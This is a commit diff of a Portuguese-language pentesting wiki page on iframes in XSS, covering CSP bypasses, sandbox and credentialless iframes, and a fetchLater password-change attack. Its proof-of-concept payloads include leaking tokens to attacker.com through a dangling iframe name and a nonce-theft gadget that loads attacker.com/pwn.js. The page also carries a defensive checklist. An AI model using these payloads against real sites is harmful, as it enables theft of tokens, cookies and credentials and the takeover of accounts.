Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:56:00 +00:00
parent 9faafc41c1
commit 9abacff6a7

View File

@ -6,7 +6,7 @@
Existem 3 maneiras de indicar o conteúdo de uma página em um iframe: Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:
- Via `src` indicando uma URL (a URL pode ser de origem cruzada ou da mesma origem) - Via `src` indicando uma URL (a URL pode ser de origem cruzada ou mesma origem)
- Via `src` indicando o conteúdo usando o protocolo `data:` - Via `src` indicando o conteúdo usando o protocolo `data:`
- Via `srcdoc` indicando o conteúdo - Via `srcdoc` indicando o conteúdo
@ -61,7 +61,7 @@ Portanto, é possível contornar o CSP de uma página com:
<head> <head>
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" /> content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head> </head>
<script> <script>
var secret = "31337s3cr37t" var secret = "31337s3cr37t"
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### Outros Payloads encontrados na natureza <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> #### Novas técnicas de bypass de CSP (2023-2025) com iframes
A comunidade de pesquisa continua a descobrir maneiras criativas de abusar de iframes para derrotar políticas restritivas. Abaixo você pode encontrar as técnicas mais notáveis publicadas nos últimos anos:
* **Exfiltração de dados via dangling-markup / named-iframe (PortSwigger 2023)** Quando uma aplicação reflete HTML, mas um CSP forte bloqueia a execução de scripts, você ainda pode vazar tokens sensíveis injetando um atributo `<iframe name>` *dangling*. Uma vez que a marcação parcial é analisada, o script do atacante rodando em uma origem separada navega o frame para `about:blank` e lê `window.name`, que agora contém tudo até o próximo caractere de citação (por exemplo, um token CSRF). Como nenhum JavaScript é executado no contexto da vítima, o ataque geralmente evita `script-src 'none'`. Um PoC mínimo é:
```html
<!-- Ponto de injeção logo antes de um <script> sensível -->
<iframe name="//attacker.com/?"> <!-- atributo intencionalmente deixado aberto -->
````
```javascript
// frame attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valor vazado
```
* **Roubo de nonce via iframe de mesma origem (2024)** Nonces de CSP não são removidos do DOM; eles estão apenas ocultos nas DevTools. Se um atacante puder injetar um iframe de *mesma origem* (por exemplo, fazendo upload de HTML para o site), o frame filho pode simplesmente consultar `document.querySelector('[nonce]').nonce` e criar novos nós `<script nonce>` que satisfaçam a política, permitindo a execução total de JavaScript apesar de `strict-dynamic`. O seguinte gadget eleva uma injeção de marcação em XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Sequestro de form-action (PortSwigger 2024)** Uma página que omite a diretiva `form-action` pode ter seu formulário de login *re-direcionado* a partir de um iframe injetado ou HTML inline, de modo que gerenciadores de senhas preencham automaticamente e enviem credenciais para um domínio externo, mesmo quando `script-src 'none'` está presente. Sempre complemente `default-src` com `form-action`!
**Notas defensivas (checklist rápido)**
1. Sempre envie *todas* as diretivas CSP que controlam contextos secundários (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
2. Não confie que nonces sejam secretos—use `strict-dynamic` **e** elimine pontos de injeção.
3. Quando você precisar incorporar documentos não confiáveis, use `sandbox="allow-scripts allow-same-origin"` **com muito cuidado** (ou sem `allow-same-origin` se você só precisar de isolamento de execução de script).
4. Considere uma implantação de defesa em profundidade COOP+COEP; o novo atributo `<iframe credentialless>` (§ abaixo) permite que você faça isso sem quebrar incorporações de terceiros.
### Outros Payloads encontrados na natureza <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe <iframe
@ -126,26 +162,34 @@ Quando utilizado, o atributo `sandbox` impõe várias limitações:
- A execução de scripts é proibida. - A execução de scripts é proibida.
- O acesso a certas APIs é desativado. - O acesso a certas APIs é desativado.
- Impede que links interajam com outros contextos de navegação. - Impede que links interajam com outros contextos de navegação.
- O uso de plugins via `<embed>`, `<object>`, `<applet>` ou tags similares é proibido. - O uso de plugins via `<embed>`, `<object>`, `<applet>`, ou tags similares é proibido.
- A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida. - A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida.
- Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático em controles de formulário, são bloqueados. - Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático em controles de formulário, são bloqueados.
Dica: Navegadores modernos suportam flags granulares como `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine-os para conceder apenas as capacidades mínimas necessárias pelo aplicativo incorporado.
O valor do atributo pode ser deixado vazio (`sandbox=""`) para aplicar todas as restrições mencionadas. Alternativamente, pode ser definido como uma lista de valores específicos separados por espaço que isentam o iframe de certas restrições. O valor do atributo pode ser deixado vazio (`sandbox=""`) para aplicar todas as restrições mencionadas. Alternativamente, pode ser definido como uma lista de valores específicos separados por espaço que isentam o iframe de certas restrições.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
``` ```
### Iframes sem credenciais ### Iframes sem credenciais
Como explicado em [este artigo](https://blog.slonser.info/posts/make-self-xss-great-again/), a flag `credentialless` em um iframe é usada para carregar uma página dentro de um iframe sem enviar credenciais na solicitação, mantendo a mesma política de origem (SOP) da página carregada no iframe. Como explicado em [este artigo](https://blog.slonser.info/posts/make-self-xss-great-again/), a flag `credentialless` em um iframe é usada para carregar uma página dentro de um iframe sem enviar credenciais na requisição, mantendo a mesma política de origem (SOP) da página carregada no iframe.
Isso permite que o iframe acesse informações sensíveis de outro iframe na mesma SOP carregada na página pai: Desde **o Chrome 110 (fevereiro de 2023), o recurso está habilitado por padrão** e a especificação está sendo padronizada entre os navegadores sob o nome *iframe anônimo*. O MDN descreve como: “um mecanismo para carregar iframes de terceiros em uma nova partição de armazenamento efêmera, de modo que nenhum cookie, localStorage ou IndexedDB seja compartilhado com a origem real”. Consequências para atacantes e defensores:
* Scripts em diferentes iframes sem credenciais **ainda compartilham a mesma origem de nível superior** e podem interagir livremente via DOM, tornando viáveis ataques de self-XSS em múltiplos iframes (veja PoC abaixo).
* Como a rede está **sem credenciais**, qualquer requisição dentro do iframe efetivamente se comporta como uma sessão não autenticada endpoints protegidos por CSRF geralmente falham, mas páginas públicas que podem vazar via DOM ainda estão em escopo.
* Pop-ups gerados a partir de um iframe sem credenciais recebem um `rel="noopener"` implícito, quebrando alguns fluxos de OAuth.
```javascript ```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless'; // PoC: two same-origin credentialless iframes stealing cookies set by a third
alert(window.top[1].document.cookie); window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
``` ```
- Exemplo de exploração: Self-XSS + CSRF - Exemplo de exploração: Self-XSS + CSRF
Neste ataque, o atacante prepara uma página da web maliciosa com 2 iframes: Neste ataque, o atacante prepara uma página maliciosa com 2 iframes:
- Um iframe que carrega a página da vítima com a flag `credentialless` com um CSRF que aciona um XSS (Imagine um Self-XSS no nome de usuário do usuário): - Um iframe que carrega a página da vítima com a flag `credentialless` com um CSRF que aciona um XSS (Imagine um Self-XSS no nome de usuário do usuário):
```html ```html
@ -171,7 +215,7 @@ alert(window.top[1].document.cookie);
``` ```
### fetchLater Attack ### fetchLater Attack
Como indicado em [este artigo](https://blog.slonser.info/posts/make-self-xss-great-again/), a API `fetchLater` permite configurar uma solicitação para ser executada mais tarde (após um certo tempo). Portanto, isso pode ser abusado para, por exemplo, fazer login em uma vítima dentro da sessão de um atacante (com Self-XSS), definir uma solicitação `fetchLater` (para mudar a senha do usuário atual, por exemplo) e sair da sessão do atacante. Então, a vítima faz login em sua própria sessão e a solicitação `fetchLater` será executada, mudando a senha da vítima para a que foi definida pelo atacante. Como indicado em [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), a API `fetchLater` permite configurar uma solicitação para ser executada mais tarde (após um certo tempo). Portanto, isso pode ser abusado para, por exemplo, fazer login de uma vítima dentro da sessão de um atacante (com Self-XSS), definir uma solicitação `fetchLater` (para mudar a senha do usuário atual, por exemplo) e sair da sessão do atacante. Então, a vítima faz login em sua própria sessão e a solicitação `fetchLater` será executada, mudando a senha da vítima para a que foi definida pelo atacante.
Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido ao CSP ou outras restrições), o atacante ainda pode executar uma solicitação na sessão da vítima. Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido ao CSP ou outras restrições), o atacante ainda pode executar uma solicitação na sessão da vítima.
```javascript ```javascript
@ -201,4 +245,10 @@ Verifique as seguintes páginas:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}} {{#endref}}
## Referências
* [PortSwigger Research Usando sequestro de formulário para contornar CSP (Março 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe sem credenciais: Incorpore facilmente iframes em ambientes COEP (Fev 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}